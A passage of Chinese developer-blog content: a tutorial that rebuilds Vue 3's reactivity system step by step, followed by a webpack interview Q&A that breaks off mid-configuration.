后续在 track / trigger 中,可以根据这些类型去优化,比如 set 能够影响到的 只有 get,而 add 能够影响的就多了,有 get,has,ownKeys

我们先给出一个类型文件,里面存放 trackOpTypes 以及 triggerOpTypes

export const trackOpTypes = {
  GET: "get",
  HAS: "has",
  ITERATE: "iterate",
};

export const triggerOpTypes = {
  SET: "set",
  ADD: "add",
  DELETE: "delete",
};

刚刚聊到的 for in,其实对应的 track 类型为 iterate,后续还能发现有新的类型就再补全

receiver

我们再来看一个🌰

import { reactive } from './reactive.js'

const obj = {
    a: 1,
    b: 2,
    get c () {
      return this.a + this.b
    }
}

const state = reactive(obj)

function fn () {
  state.c;
}
fn()

当我们访问 c 属性时,c 会返回 a 和 b,按道理会触发 三次 get,对应 a,b,c

但是这里实际上只有 c

我们可以在 c 里面添加一个 log ,看看 this 是啥,结果你会发现就是 obj,这当然符合预期,但是要想 a 和 b 也能被 get 到,是不是得希望 this 是 Proxy 后的 obj

实际上 state.c 就是 get 里面的 target[key],而 [[get]] 其实调用的是 [key, receiver],默认语法上,get 第二个参数就是 this 指向的对象,这里对应的就是 obj,我们无法更改

但是这个却可以通过 Reflect 解决,Reflect 支持更改 this,我们可以在 get 中多加一个 入参 receiver,也就是 Reflect.get(target, key, receiver)

function get (target, key, receiver) {
    track(target, key)
    return Reflect.get(target, key, receiver)
}

深度监听

我们再来看一个🌰

import { reactive } from './reactive.js'

const obj = {
    a: 1,
    b: 2,
    c: {
      d: 3
    }
}

const state = reactive(obj)

function fn () {
  state.c.d;
}
fn()

这里读取 state.c.d ,但道理 get 应该监听到 c 和 d,但是实际上只有 c,其实也符合预期,因为 state.c 返回的 对象是 { d } ,而非 Proxy 后的对象,因此在 get 中我们不用着急返回 Reflect.get,我们可以先判断其返回值是否为 对象,是就用 reactive 再包裹一层

function get (target, key, receiver) {
    track(target, key)
    const res = Reflect.get(target, key, receiver)
    if (isObject(res)) {
        return reactive(res)
    } else {
        return res
    }
}

add & delete

add 以及 delete 都是派发更新,我们现在来补充下这两个函数

先看 add,看这个🌰

import { reactive } from './reactive.js'

const obj = {
    a: 1,
    b: 2,
    c: {
      d: 3
    }
}

const state = reactive(obj)

function fn () {
  state.e = 4
}
fn()

我们希望 trigger 的时候能看到 add 信息

add 其实就是 set,当 key 存在就是 set,不存在就是 add

因此add我们可以在 set 里面补充,另外,我们可以把 track 和 trigger 的 log 添加 type 信息

export function track (target, key, type) {
    console.log('依赖收集', target, key, type);
    
}

export function trigger (target, key, type) {
    console.log('依赖触发', target, key, type);
}

我们在 set 中区分出 add

function set (target, key, value, receiver) {    
    const type = target.hasOwnProperty(key) ? TriggerOpTypes.SET : TriggerOpTypes.ADD
    trigger(target, key, type)
    return Reflect.set(target, key, value, receiver)
}

其实 set 还有处可以优化,当 set 原来的值就不用 trigger 了

也就是补充 if (target[key] === value) return true

再来看 delete,我们希望下面这个例子能看到 delete 信息

const obj = {
    a: 1,
    b: 2,
    c: {
      d: 3
    }
}

const state = reactive(obj)

function fn () {
  delete state.e
}
fn()

那就得新增一个 deletePropertyhandlers

function deleteProperty (target, key) {
    if (!target.hasOwnProperty(key)) return true 
    trigger(target, key, TriggerOpTypes.DELETE)
    return Reflect.deleteProperty(target, key)
}

前面判断是因为若本身就没有这个 key,那就不用 trigger 了

数组的拦截

includes 为例

你或多或少听说过 vue 有重写数组的方法,这就是因为数组的有些修改监听不上,下面就一一来举例说明

首先看 includes 对象时的情况

import { reactive } from './reactive.js'

const obj = {}

const arr = [1, obj, 2]

const state = reactive(arr)

function fn () {
  let index = state.includes(obj)
  console.log(index)
}
fn()

state 是 Proxy(arr),它调用 includes 就会访问 includes 属性,我们可以看看会输出什么

依赖收集 (3) [1, {…}, 2] includes get
依赖收集 (3) [1, {…}, 2] length get
依赖收集 (3) [1, {…}, 2] 0 get
依赖收集 (3) [1, {…}, 2] 1 get
依赖收集 (3) [1, {…}, 2] 2 get
false

includes 内部实现必然会访问到 includes ,访问 length 其实也好理解,要我们自己手写一个 includes,不就是一个 for(let i = 0; i < arr.length; i++),然后找不到就返回 false 或者说 -1,这里很奇怪,includes 遍历了所有项都找不到 obj,最终返回了 false

我们若 includes(1) 那便输出如下

依赖收集 (3) [1, {…}, 2] includes get
依赖收集 (3) [1, {…}, 2] length get
依赖收集 (3) [1, {…}, 2] 0 get
true

这是符合预期的,为啥 obj 就找不到

其实细想下也好理解,因为state 调用 includes 时,state 可是 Proxy,之前我们已经做了深度监听,也就是说 state 里面的 obj 会被再次 reactive 一次,proxy 里面找 原生的 obj,这个 obj 并非 proxy,因此可以理解为 proxy !== raw 导致的 false

但是我们肯定不希望把 深度监听去掉,那就灵活点,当 includes 找不到时,我们再次处理下,能否让原生的 arr 去调用 includes

在 get 中我们有三个入参,分别为 原生的 target,key,以及 proxy 后的 receiver

若 key 为 includes 那就特殊处理,我们把处理过的 includes 给到 proxy

在 includes 内部,找不到时我们给一个唯一属性,让 proxy 访问这个唯一属性时,再次触发 get,此时原生 arr,也就是 target 返回出去,这样就实现了 数组特定方法调用时,避免了深度监听

具体实现如下,indexOflastIndexOf 同理

const arrayInstrumentations = {}

const RAW = Symbol('raw');

['includes', 'indexOf', 'lastIndexOf'].forEach(method => {
    const originMethod = Array.prototype[method]
    arrayInstrumentations[method] = function (...args) {
        let res = originMethod.apply(this, args)
        if (res === false || res === -1) {
            res = originMethod.apply(this[RAW], args)
        }
        return res
    }
})

function get (target, key, receiver) {
    if (key === RAW) return target
    track(target, key, TrackOpTypes.GET)
    const res = Reflect.get(target, key, receiver)
    if (Array.isArray(target) && arrayInstrumentations.hasOwnProperty(key)) {
      return arrayInstrumentations[key].bind(receiver)
    }
    return isObject(res) ? reactive(res) : res;
}

length

我们再来看个栗子

import { reactive } from './reactive.js'

const obj = {}

const arr = [1, obj, 2]

const state = reactive(arr)

function fn () {
  state[4] = 2
}
fn()

这里通过下标的形式新增了一个 item,那必然会 tirgger 一次 add

但是这样数组的 length 也变了,按道理 length 也要一次 set ,但是实际上目前并没有 length 的 trigger

其实 length 的变化就相当于用 Object.defineProperty() ,这种变化是 trigger 不到的

既然如此,我们就在这种情况下手动 trigger 下 length

这种情况就是数组 add,判断两下就好了,具体实现直接看下面代码

function set (target, key, value, receiver) {    
    const type = target.hasOwnProperty(key) ? TriggerOpTypes.SET : TriggerOpTypes.ADD
    const oldValue = target[key]
    const oldLen = Array.isArray(target) ? target.length : null
    const res = Reflect.set(target, key, value, receiver)
    const newLen = Array.isArray(target) ? target.length : null
    if (!Object.is(oldValue, value) || type === TriggerOpTypes.ADD) {
        trigger(target, key, type)
        if (Array.isArray(target) && oldLen !== newLen && key !== 'length') {
            trigger(target, 'length', TriggerOpTypes.SET)
        }
    }

    return res
}

通过下标新增 item,length 的写会被监听不上,若通过 length 删减 arr,item 的删除会被监听上吗,实际上并不会

import { reactive } from './reactive.js'

const obj = {}

const arr = [1, obj, 2]

const state = reactive(arr)

function fn () {
  state.length = 2
}
fn()

目前这个情况只能 trigger 到 length

既然失真了,我们同样手动处理,刚才的实现我们是 key !== length

现在则是 key === length ,那么就是从 oldLen 到 newLen 的区别去 trigger 下标就行,并且类型给一个 delete

function set (target, key, value, receiver) {    
    const type = target.hasOwnProperty(key) ? TriggerOpTypes.SET : TriggerOpTypes.ADD
    const oldValue = target[key]
    const oldLen = Array.isArray(target) ? target.length : null
    const res = Reflect.set(target, key, value, receiver)
    const newLen = Array.isArray(target) ? target.length : null
    if (!Object.is(oldValue, value) || type === TriggerOpTypes.ADD) {
        trigger(target, key, type)
        if (Array.isArray(target) && oldLen !== newLen) {
            if (key !== 'length') {
                trigger(target, 'length', TriggerOpTypes.SET)
            } else {
                for (let i = newLen; i < oldLen; i++) {
                    trigger(target, i, TriggerOpTypes.DELETE)
                }
            }
        }
    }

    return res
}

push

我们再来看一个 push 案例

import { reactive } from './reactive.js'

const obj = {}

const arr = [1, obj, 2]

const state = reactive(arr)

function fn () {
  state.push(3)
}
fn()

这里的 log 如下

依赖收集 (3) [1, {…}, 2] push get
依赖收集 (3) [1, {…}, 2] length get
依赖触发 (4) [1, {…}, 2, 3] 3 add
依赖触发 (4) [1, {…}, 2, 3] length set

看着并没有问题,最后的 length set 也是对的,但是当我们多次重复调用 fn 时,你就会觉得 length 每次 push 一次 length 都会被 track 依赖收集一次显得重复,因此我们需要避免重复触发 length 相关依赖

那就对 push 这类 方法做点手脚,当 push 时,内部就会有 length 的 key,此时暂停 track,等调用完再恢复 track

["push", "pop", "shift", "unshift", "splice"].forEach((method) => {
  arrayInstrumentations[method] = function (...args) {
    pauseTrack();
    const res = Array.prototype[method].apply(this, args);
    resumeTrack();
    return res;
  };
});

pauseTrackresumeTrack 也很容易实现

let shouldTrack = true;

export function track (target, key, type) {
    if (!shouldTrack) return
    console.log('依赖收集', target, key, type);
    
}

export function trigger (target, key, type) {
    console.log('依赖触发', target, key, type);
}

export function pauseTrack () {
    shouldTrack = false
}

export function resumeTrack () {
    shouldTrack = true
}

track 和 trigger

现在开始实现 track 和 trigger

目前的实现仅仅是拿到 target, key, type 信息,但是具体的功能并没有实现

比如 track 依赖收集,他需要收集对应的函数,trigger 则是把这些收集到的函数重新触发执行

另外我们又要继续探讨一个问题,是否所有用到的响应式数据的函数都要收集进来呢

render1() {
    render2() {
        .....
    }
}

比如上面这个情景,父组件里面包含一个子组件,这在实际 vue 项目中是个非常常见的情景,render2 里面的响应式数据若发生变更,render2 组件就会重新渲染,但是 render1 不会,若 render2 里面的响应式数据被 render1 用到了,数据变了 render1 就会重新渲染

要想实现到这个精度,那肯定不是一股脑把所有用到响应式的数据全部收集起来,既然是人为控制,那么我们可以给一个 effect 函数,你若希望 fn 能够被收集进来,那么将 fn 传入进去即可,state(fn)

const obj = {
  a: 1
}

const state = reactive(obj)

function fn1 () {
  function fn2 () {
    state.a;
  }
  fn2()
}

effect(fn1)

比如这里,希望 fn1 被 track 拿到,但是 fn1 是函数 effect 的入参,那就在 effect.js 文件中把 fn 保存到全局中去让 track 拿到

let shouldTrack = true;
let activeEffect = undefined;

export function effect (fn) {
    activeEffect = fn
    fn()
    activeEffect = null
}

export function track (target, key, type) {
    if (!shouldTrack || !activeEffect) return
    console.log('依赖收集', target, key, type, activeEffect);
    
}

收集依赖时其实需要函数运行才能确定,而非编译阶段,举一个直观的栗子

const obj = {
  a: 2
}

const state = reactive(obj)

function fn1 () {
  if (state.a === 1) {
    state.b
  } else {
    state.c
  }
}

effect(fn1)

fn1 执行过程中才能确定到底是依赖 a,b 还是 a,c

而运行时就肯定会产生嵌套的情况,嵌套就会每层作用域有对应的 activeEffect,因此我们收集函数不应该仅仅只是收集 fn,而是把 effect 里面的内容都收集进来

export function effect (fn) {
    const effectFn = () => {
        try {
            activeEffect = fn
            return fn()
        } finally {
            activeEffect = null
        }
    }
    effectFn()
}

这里用 try catch 处理是因为用户写的函数可能会有报错的情况

现在开始用 map 去把一个 target 的对应的函数 去串起来

一个 target 里面会有多个 key,一个 key 又可以有多个 操作类型,操作类型后才对应着 effectFn

除了 effectFn 可以用 set 去个重,其余都可以用 map 表示,另外这里有个 iterate 的操作类型是没有 key 的,因此我们需要手动给 iterate 加一个 key

const targetMap = new WeakMap()
const ITERATE_KEY = Symbol('iterate')

export function track (target, key, type) {
    if (!shouldTrack || !activeEffect) return
    
    let propMap = targetMap.get(target)
    if (!propMap) {
        propMap = new Map()
        targetMap.set(target, propMap)
    }
    if (key === TrackOpTypes.ITERATE) {
        key = ITERATE_KEY;
    }

    let typeMap = propMap.get(key)
    if (!typeMap) {
        typeMap = new Map()
        propMap.set(key, typeMap)
    }

    let depSet = typeMap.get(type)
    if (!depSet) {
        depSet = new Set()
        typeMap.set(type, depSet)
    }

    if (!depSet.has(activeEffect)) {
        depSet.add(activeEffect)
        activeEffect.deps.push(depSet)
    }

    console.log('targetMap', targetMap);
}

track 基本上把 effectFns 收集到 targetMap 中了,现在 trigger 的目的则是用 target,key,type 去寻找对应的 effectFns,然后触发他们的执行

寻找 effectFns 我们单独给一个函数 getEffectFns 来做这件事,其实寻找对应的 effectFns 主要是需要注意 操作类型 之间的对应关系,比如 trigger 时,我们用了set 类型,但是 map 里面的只有 get ,因此我们需要处理每个 TriggerOpType 对应的所有 TrackOpType,然后挨个遍历,有就输出 effectFn 即可

我们先把 操作类型 之间的对应关系 map 给补上

const triggerTypeMaps = {
    [TriggerOpTypes.SET]: [TrackOpTypes.GET],
    [TriggerOpTypes.ADD]: [TrackOpTypes.ITERATE, TrackOpTypes.GET, TrackOpTypes.HAS],
    [TriggerOpTypes.DELETE]: [TrackOpTypes.ITERATE, TrackOpTypes.GET, TrackOpTypes.HAS],
}

然后就是 trigger

export function trigger (target, key, type) {
    const effects = getEffectFns(target, key, type)
    effects.forEach(effectFn => effectFn())
}

现在实现 getEffectFns

function getEffectFns (target, key, type) {
    const propMap = targetMap.get(target)
    if (!propMap) return []
    const keys = [key]
    if (type === TriggerOpTypes.ADD || type === TriggerOpTypes.DELETE) {
        keys.push(ITERATE_KEY)
    }

    const effects = new Set()
    for (const key of keys) {
        const typeMap = propMap.get(key)
        if (!typeMap) continue

        const types = triggerTypeMaps[type]
        for (const type of types) {
            const depSet = typeMap.get(type)
            if (!depSet) continue
            depSet.forEach(effectFn => effects.add(effectFn))
        }
    }
    return [...effects]
}

我们再来看一个栗子

const obj = { a: 1, b: 2, c: 3 };

const state = reactive(obj);

function fn1() {
  console.log("fn1 执行");
  if (state.a === 1) {
    state.b;
  } else {
    state.c;
  }
}
effect(fn1);

state.a = 2;
state.b = 3;

这里会触发三次执行,看似没毛病,实际上只应该触发两次,因为 state.a 被赋值为 2 时,函数的依赖项就和 state.b 无关了

因此我们要实现的就是当 effectFn 执行时重新把 effectFn 里面的依赖项给清空便是

export function effect (fn) {
    const effectFn = () => {
        try {
            activeEffect = effectFn
            cleanup(effectFn)
            return fn()
        } finally {
            activeEffect = null
        }
    }
    effectFn.deps = []
    effectFn()
}

function cleanup (effectFn) {
    const { deps } = effectFn
    if (!deps.length) return  
    deps.forEach(dep => dep.delete(effectFn))
    effectFn.deps.length = 0
}

当然,这需要我们在 track 中给 activeEffect 加一个 deps 属性,把 depSet 挂上去

我们再来看一个例子

const obj = { a: 1, b: 2, c: 3 };

const state = reactive(obj);

function fn1() {
  console.log("fn1 执行");
  effect(() => {
    console.log("fn1 inner");
    state.a;
  });
  state.b;
}

effect(fn1);

state.b = 3;

这里按道理会执行两次 fn1 和 fn1 inner,但是实际上只执行了一次

这是因为在执行 inner 时,activeEffect 已经被置为 null 了,而此时 state.b 还没来得及收集,因此 b 的修改没被监听上

之前的 activeEffect 就不能直接 置为 null,这由于调用栈的关系我们只需要取当前栈的栈顶

let effectStack = []

export function effect (fn) {
    const effectFn = () => {
        try {
            activeEffect = effectFn
            effectStack.push(effectFn)
            cleanup(effectFn)
            return fn()
        } finally {
            effectStack.pop()
            activeEffect = effectStack[effectStack.length - 1]
        }
    }
    effectFn.deps = []
    effectFn()
}

我们再来看个 bug

let state = reactive({
  a: 1,
  b: 2,
  c: 3,
});

function fn1() {
  console.log("fn1 执行");
  state.a++;
}
effect(fn1);

目前这么运行会出现爆栈的问题,这是因为 state.a++ 会先 get 后 set,get 时记录了当前 fn,set 时重新执行 fn,重新执行时之前的逻辑是会重新收集依赖,这就导致了无限递归

解决方案那就在 trigger 时,判断函数是不是当前的 activeEffect,若是则不执行 effectFn

export function trigger (target, key, type) {
    const effects = getEffectFns(target, key, type)
    for (const effectFn of effects) {
        if (effectFn === activeEffect) {
            continue
        }
        effectFn()
    }
}

包括我们可以实现一个 lazy 的 effect 函数

let state = reactive({
  a: 1,
  b: 2,
  c: 3,
});

function fn1() {
  console.log("fn1 执行");
  state.a++;
}
let fn = effect(fn1, {lazy: true});
fn()

lazy 时,就返回函数,而不是执行,非 lazy 就是正常执行

export function effect (fn, options = {}) {
    const { lazy } = options 
    const effectFn = () => {
        try {
            activeEffect = effectFn
            effectStack.push(effectFn)
            cleanup(effectFn)
            return fn()
        } finally {
            effectStack.pop()
            activeEffect = effectStack[effectStack.length - 1]
        }
    }
    effectFn.deps = []
    if (!lazy) {
        effectFn()
    }
    return effectFn
}

包括多次更改,渲染一次的调度器

调度器需要存到 effectFn.options 上,给到 trigger 去执行

export function effect (fn, options = {}) {
    const { lazy } = options 
    const effectFn = () => {
        try {
            activeEffect = effectFn
            effectStack.push(effectFn)
            cleanup(effectFn)
            return fn()
        } finally {
            effectStack.pop()
            activeEffect = effectStack[effectStack.length - 1]
        }
    }
    effectFn.deps = []
    effectFn.options = options
    if (!lazy) {
        effectFn()
    }
    return effectFn
}

export function trigger (target, key, type) {
    const effects = getEffectFns(target, key, type)
    for (const effectFn of effects) {
        if (effectFn === activeEffect) {
            continue
        }
        if (effectFn.options.scheduler) {
            effectFn.options.scheduler(effectFn)
        } else {
            effectFn()
        }
    }
}

实现 ref

现在实现 ref,有了 track ,trigger,基本上 ref 可以很轻松实现

ref 其实就是利用 对象 get set 属性,get value 就是依赖收集,调用 track,返回 value,set value 就是派发更新,调用 trigger

import { track, trigger } from './effect.js'
import { TrackOpTypes, TriggerOpTypes } from './constants.js'
import { reactive } from './reactive.js'
import { isObject } from './utils.js'

export function ref (value) {
    return {
        get value () {
            track(this, TrackOpTypes.GET, 'value')
            return value
        },
        set value (v) {
            if (v !== value) {
                value = v
                trigger(this, 'value', TriggerOpTypes.SET)
            }
        }
    }
}

当然 ref 也要支持 对象,对象就需要调用 reactive 了,另外还需要 reactive 支持 value

实现 computed

computed 其实就是一个仅访问的 effect 函数,只不过里面支持两种写法,一个是写的 getter,setter,一个就是直接写的函数,里面返回的响应式数据

既然支持两种入参,我们可以在 computed 里面先把参数归一化,统一弄成 getter,setter 的形式,但是一般来说我们用函数的形式,函数就是 getter,setter 默认给一个初始值不作用就行

import { effect } from './effect.js'
import { track, trigger } from './effect.js'
import { TrackOpTypes, TriggerOpTypes } from './constants.js'

function normalizeOptions (getterOptions) {
    let getter, setter
    if (typeof getterOptions === 'function') {
        getter = getterOptions
        setter = () => {
            console.warn('Write operation failed: computed value is readonly')
        }
    } else {
        getter = getterOptions.get
        setter = getterOptions.set
    }
    return { getter, setter }
}

export function computed (getterOptions) {
    const { getter, setter } = normalizeOptions(getterOptions)
    const effectFn = effect(getter, {
        lazy: true,
        scheduler () {
            dirty = true
            trigger(obj, 'value', TriggerOpTypes.SET)
        }
    })
    let value;
    let dirty = true;
    const obj = {
        get value () {
            track(obj, 'value', TrackOpTypes.GET)
            if (dirty) {
                value = effectFn()
                dirty = false
            }
            return value
        }, 
        set value (v) {
            setter(v)
        }
    }
    return obj
}

实现 watchEffect

watchEffect 会自动追踪所有响应式依赖,依赖项发生变化会自动执行传入的 fn

watchEffect 肯定是 lazy false,因为函数在组件加载时就会开始执行一次

export function watchEffect (fn) {
    const effectFn = effect(fn, {
        lazy: false,
        scheduler (effectFn) {
            effectFn()
        }
    })

    return () => {
        effectFn.deps.forEach(dep => dep.delete(effectFn))
        effectFn.deps.length = 0
    }
}

实现 watch

watch 会接受三个参数,分别为 source,callback,options,source 就是响应式数据,callback 其实就是 getter 函数 ,options 支持 deep,lazy 等,其实 reactive 默认就是 deep

watch 的 deep 指的是是否要把对象的所有内部属性纳入观察依赖中,默认 false

实现 deep 则是通过 traverse 去深度遍历 get 所有属性

export function watch (source, callback, options = {}) {
    const { immediate = false, deep = false } = options

    let getter
    let oldValue

    if (typeof source === 'function') {
        getter = deep ? () => traverse(source()) : source
    } else if (isObject(source)) {
        getter = () => traverse(source)
    } else {
        console.warn('watch source must be a function or an object')
        return () => {}
    }
    
    const effectFn = effect(getter, {
        lazy: true,
        scheduler (effectFn) {
            const newValue = effectFn()
            callback(newValue, oldValue)
            oldValue = newValue
        }
    })
    
    if (immediate) {
        const newValue = effectFn()
        callback(newValue, undefined)
        oldValue = newValue
    } else {
        oldValue = effectFn()
    }
    
    return () => {
        effectFn.deps.forEach(dep => dep.delete(effectFn))
        effectFn.deps.length = 0
    }
}

function traverse (value, seen = new Set()) {
    if (!isObject(value) || seen.has(value)) {
        return value
    }
    
    seen.add(value)
    
    for (const key in value) {
        traverse(value[key], seen)
    }
    
    return value
}

最后

v3 响应式就是通过 proxy 代理实现的,proxy 天生支持多种 handlers ,我们要做的无非就是在这个基础上进行封装,而数组对于我们的系统来说,很多方法内部会读取 length 或逐个索引可能不符合我们的预期,这才需要进行稍微修改,优先在 proxy 身上找,找不到就再在 this[RAW] 原始数组上找

而 track 依赖收集就是帮我们把数据和对应的 key 之间所有的关系给 weakmap 起来,target -> Map(key) -> Map(type) -> Set(effectFn), 这样我们 trigger 派发更新时就可以依靠这个联系挨个触发。给一个 effect 函数其目的也主要是要收集到函数,给函数打上对应的 deps 标记

至此,@vue/reactivity 基本上实现了个大概。

【八股汇总,背就完事】这一次再也不怕webpack面试了

2025年10月20日 16:46

一、基础概念

1. 什么是Webpack?它的主要作用是什么?

Webpack 是一个现代 JavaScript 应用程序的静态模块打包器 (static module bundler) 。当 Webpack 处理你的应用程序时,它会递归地构建一个依赖关系图 (dependency graph) ,其中包含应用程序需要的每个模块,然后将所有这些模块打包成一个或多个 bundle

主要作用:

  • 模块化打包: 将各种模块(JavaScript、CSS、图片、字体等)打包成浏览器可以识别的静态资源。
  • 代码转换: 通过 Loader 可以将 ES6+ 语法转换为 ES5,将 TypeScript 转换为 JavaScript,将 Sass/Less 转换为 CSS 等。
  • 代码分割: 将代码分割成多个块 (chunk),实现按需加载,优化首次加载速度。
  • 开发优化: 提供如热模块替换 (HMR)、Source Map 等功能,提升开发效率和调试体验。
  • 性能优化: 通过 Tree Shaking、代码压缩、Scope Hoisting 等功能优化生产环境的代码。

2. Webpack的核心概念有哪些?

  • Entry (入口) : 指示 Webpack 应该使用哪个模块作为构建其内部依赖图的开始。默认值是 ./src/index.js
  • Output (出口) : 告诉 Webpack 在哪里输出它所创建的 bundle,以及如何命名这些文件。默认值是 ./dist/main.js
  • Loader (加载器) : Webpack 本身只能理解 JavaScript 和 JSON 文件。Loader 让 Webpack 能够去处理其他类型的文件,并将它们转换为有效模块,以供应用程序使用,以及被添加到依赖图中。
  • Plugin (插件) : Plugin 可以用于执行范围更广的任务,比如打包优化、资源管理、注入环境变量等。Loader 专注于转换特定类型的文件,而 Plugin 则可以监听 Webpack 构建流程中的生命周期事件,执行自定义操作。
  • Module (模块) : 在 Webpack 的世界里,任何文件都可以被视为一个模块。无论是 JavaScript、CSS、图片还是字体,都可以通过 Loader 进行处理。
  • Bundle (打包文件) : Webpack 处理完所有模块后最终输出的文件。
  • Mode (模式) : 分为 development (开发模式) 和 production (生产模式)。production 模式下会自动开启代码压缩、Tree Shaking 等优化,而 development 模式下会优化构建速度和调试体验。

3. Webpack与Grunt、Gulp等构建工具有什么区别?

  • 核心思想不同:

    • Grunt/Gulp: 是基于任务 (Task) 的构建工具。开发者需要手动配置一系列任务(如编译、压缩、合并),然后按照顺序执行。它们关心的是文件的流转和处理。
    • Webpack: 是基于模块 (Module) 的构建工具。它从一个入口文件开始,分析整个项目的模块依赖关系,然后将所有模块打包。它关心的是模块之间的依赖关系。
  • 自动化程度不同:

    • Grunt/Gulp: 需要手动指定哪些文件需要被处理,处理完后输出到哪里。
    • Webpack: 只需要指定入口文件,它会自动分析并处理所有依赖的模块,更加智能和自动化。
  • 功能侧重不同:

    • Grunt/Gulp: 更像是一个通用的任务执行器,可以做任何自动化任务,不仅仅是前端构建。
    • Webpack: 更专注于前端模块化打包,提供了模块化开发、代码分割、热更新等更高级的功能。

4. Webpack的构建流程是怎样的?

  1. 初始化: 从配置文件和 Shell 语句中读取与合并参数,得出最终的配置。

  2. 编译 (Compilation) :

    • Entry: 根据配置找到所有的入口文件。
    • Module: 从入口文件开始,调用所有配置的 Loader 对模块进行翻译,再找出该模块依赖的模块。
    • 递归: 递归地对所有依赖的模块进行相同的处理,直到所有依赖都被解析完毕,形成一个依赖关系图 (Dependency Graph)
  3. 输出 (Emit) : 将编译后的模块内容组合成一个个 Chunk,再把每个 Chunk 转换成一个单独的文件加入到输出列表。

  4. 完成 (Done) : 在确定好输出内容后,根据配置确定输出的路径和文件名,将文件内容写入到文件系统。在整个过程中,Webpack 会执行各种插件,在合适的时机对构建结果进行优化和处理。

5. 什么是Tree Shaking?Webpack如何实现Tree Shaking?

Tree Shaking 是一种通过移除 JavaScript 上下文中的未引用代码来优化打包体积的技术。它依赖于 ES2015 模块系统中的 importexport 语句的静态结构特性。

Webpack 实现 Tree Shaking 的条件:

  • 使用 ES2015 模块语法 (importexport) : CommonJS 的 require 是动态的,无法进行静态分析,因此无法进行 Tree Shaking。
  • 开启 production 模式: 在 production 模式下,Webpack 会自动启用 Tree Shaking。
  • 确保没有副作用 (Side Effects) : 在 package.json 文件中设置 "sideEffects": false,告知 Webpack 项目中的所有代码都没有副作用,可以安全地移除未使用的 export。如果某些文件有副作用(如全局样式表、polyfill),可以将其配置为 "sideEffects": ["./src/style.css"]

6. 什么是Code Splitting?Webpack如何实现代码分割?

Code Splitting (代码分割) 是将代码分割成多个 bundle 或 chunk 的技术,这些 chunk 可以按需加载或并行加载,而不是一次性加载所有代码。这可以显著提高应用程序的性能,特别是对于大型应用。

Webpack 实现代码分割的方式:

  • 多入口 (Entry Points) : 手动配置多个入口文件,每个入口会生成一个 chunk。适用于多页面应用。
  • SplitChunksPlugin: Webpack 4+ 内置的插件,可以自动地将公共依赖模块提取到单独的 chunk 中。这是最常用和推荐的方式。
  • 动态导入 (Dynamic Imports) : 使用符合 ECMAScript 提案的 import() 语法。当 Webpack 解析到这个语法时,会自动进行代码分割,创建一个独立的 chunk,并在代码执行到 import() 时才进行加载。

7. Webpack的Hot Module Replacement (HMR) 是什么?如何配置?

Hot Module Replacement (HMR) 是一种在应用程序运行时,无需完全刷新页面,就能够替换、添加或删除模块的功能。这可以极大地提高开发效率。

配置 HMR:

  1. 开启 HMR 功能: 在 webpack.config.jsdevServer 配置中设置 hot: true
  2. 添加插件: 确保 webpack.HotModuleReplacementPlugin 被添加到了 plugins 数组中 (在 Webpack 4+ 的 development 模式下通常是自动添加的)。
  3. 在代码中处理模块更新: 对于框架(如 React, Vue)来说,脚手架通常已经配置好了。对于原生 JS,你需要使用 module.hot.accept() API 来指定当某个模块更新时应该如何处理。

8. Webpack的DevServer是什么?如何配置开发服务器?

Webpack DevServer 是一个用于开发的、轻量的、基于 Express 的 Node.js 服务器。它提供了一个开发环境,可以实现实时重新加载 (Live Reloading) 和热模块替换 (HMR) 等功能。

配置 DevServer:

在 webpack.config.js 中添加 devServer 对象:

JavaScript

module.exports = {
  // ...
  devServer: {
    static: './dist', // 告诉服务器从哪个目录提供静态文件
    hot: true,         // 开启 HMR
    open: true,        // 自动打开浏览器
    port: 8080,        // 设置端口
    compress: true,    // 开启 Gzip 压缩
    historyApiFallback: true, // 解决 SPA 路由刷新 404 问题
  },
};

9. Webpack如何处理静态资源(如图片、字体、样式等)?

Webpack 通过 Loader 来处理静态资源。

  • 样式文件 (CSS, Sass, Less) :

    • css-loader: 负责解析 CSS 文件中的 @importurl()
    • style-loader: 将 css-loader 处理后的 CSS 通过 <style> 标签注入到 DOM 中。
    • sass-loader/less-loader: 将 Sass/Less 编译成 CSS。
  • 图片和字体文件:

    • Webpack 5+ : 使用内置的 Asset Modules

      • asset/resource: 发送一个单独的文件并导出 URL (类似 file-loader)。
      • asset/inline: 导出一个资源的 data URI (类似 url-loader)。
      • asset/source: 导出资源的源代码 (类似 raw-loader)。
      • asset: 根据文件大小自动选择 asset/resourceasset/inline
    • Webpack 4: 使用 file-loader (将文件复制到输出目录并返回 URL) 或 url-loader (当文件小于阈值时,将其转换为 Base64 URI)。

10. Webpack的Source Map是什么?有哪些类型?如何配置?

Source Map 是一个信息文件,它映射了转换后代码的每一个位置到原始源代码中相应的位置。这使得在浏览器中调试时,看到和调试的是原始代码,而不是被 Webpack 打包和转换后的代码。

配置: 在 webpack.config.js 中设置 devtool 属性。

常见类型:

  • eval: 最快。每个模块都使用 eval() 执行,并在末尾添加 //# sourceURL
  • source-map: 最原始、最详细。生成一个 .map 文件。
  • eval-source-map: 重新构建的原始代码作为 data URI 附加。构建速度快,但会降低运行时性能。
  • cheap-module-source-map: 较快。不包含列信息,只映射到原始代码的行。
  • inline-source-map: 将 .map 文件作为 data URI 嵌入,不生成单独文件。

推荐配置:

  • 开发环境: eval-cheap-module-source-map (构建速度和调试体验的良好平衡)。
  • 生产环境: source-map (最详细,但会暴露源码,通常只在需要线上调试时开启) 或不开启。

二、配置相关

1. 如何配置Webpack的入口(Entry)和出口(Output)?

JavaScript

const path = require('path');

module.exports = {
  // 单入口
  entry: './src/index.js',

  // 多入口
  // entry: {
  //   main: './src/main.js',
  //   vendor: './src/vendor.js'
  // },

  output: {
    // 输出文件名,[name] 会被替换为入口的名称,[contenthash] 是基于文件内容的哈希
    filename: '[name].[contenthash].js',
    // 输出目录,必须是绝对路径
    path: path.resolve(__dirname, 'dist'),
    // 每次构建前清理输出目录
    clean: true,
  },
};

2. 如何配置Webpack的Loader?常见的Loader有哪些?

Loader 在 module.rules 数组中配置。每个规则 (rule) 包含:

  • test: 一个正则表达式,用于匹配要处理的文件。
  • use: 一个数组或字符串,指定要使用的 Loader。Loader 的执行顺序是从右到左从下到上

常见 Loader 配置示例:

JavaScript

module.exports = {
  module: {
    rules: [
      {
        // 处理 JS 文件
        test: /.js$/,
        exclude: /node_modules/,
        use: {
          loader: 'babel-loader',
          options: {
            presets: ['@babel/preset-env']
          }
        }
      },
      {
        // 处理 CSS 文件
        test: /.css$/,
        use: ['style-loader', 'css-loader'] // 顺序:css-loader -> style-loader
      },
      {
        // 处理图片
